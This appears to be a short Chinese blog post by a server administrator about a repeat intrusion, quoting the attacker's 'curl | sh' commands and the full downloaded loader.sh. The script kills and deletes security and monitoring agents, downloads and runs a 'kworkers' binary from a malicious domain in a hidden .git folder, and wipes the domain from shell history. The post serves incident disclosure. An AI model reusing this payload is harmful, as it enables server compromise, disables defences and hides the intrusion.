服务器被入侵，执行了2个非常危险的命令_titanagent

机器之前中过木马，手动清除了，以为没事了，就没重装系统

今天发现又被登录，执行了2个命令

sh -c 'curl | http://m.windowsupdatesupport.org/d/loader.sh|sh'

sh -c \'curl | http://m.windowsupdatesupport.org/d/loader.sh|sh\'

可惜2个命令没有执行成功，因为机器被我屏蔽外网了

用浏览器下载了loader.sh，脚本如下：

ps aux | grep -v grep | grep 'aegis' | awk '{print $11}' | xargs  dirname  | xargs  rm -rf
ps aux | grep -v grep | grep 'hids' | awk '{print $11}' | xargs  dirname  | xargs  rm -rf
ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $11}' | xargs  dirname  | xargs  rm -rf
ps aux | grep -v grep | grep 'titanagent' | awk '{print $11}' | xargs  dirname  | xargs  rm -rf
ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'hids' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'titanagent' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'sgagent' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'barad_agent' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'hostguard' | awk '{print $2}' | xargs  -I {}  kill -9 {}

###此处是服务器的监控程序，入侵者想删掉我们机器的监控程序

rm -rf /usr/local/xxx
rm -rf /usr/local/xxxx
rm -rf /usr/local/xxxx

ps aux | grep -v grep | grep 'kworkers' | awk '{print $2}' | xargs  -I {}  kill -9 {}
domainroota=m.windowsupdatesupport.org

mkdir ~/.git
mkdir ./.git
gitdir=~/.git

if [ -d ~/.git ]; then
  gitdir=~/.git
fi
if [ -d ./.git ]; then
  gitdir=./.git
fi

curl  http://$domainroota/d/kworkers -o $gitdir/kworkers
chmod 777 $gitdir/kworkers
if [ -e  /.dockerenv ]
then
  $gitdir/kworkers
else
  nohup $gitdir/kworkers >>$gitdir/.log&
fi

sed -i '/$domainroota/d' ~/.bash_history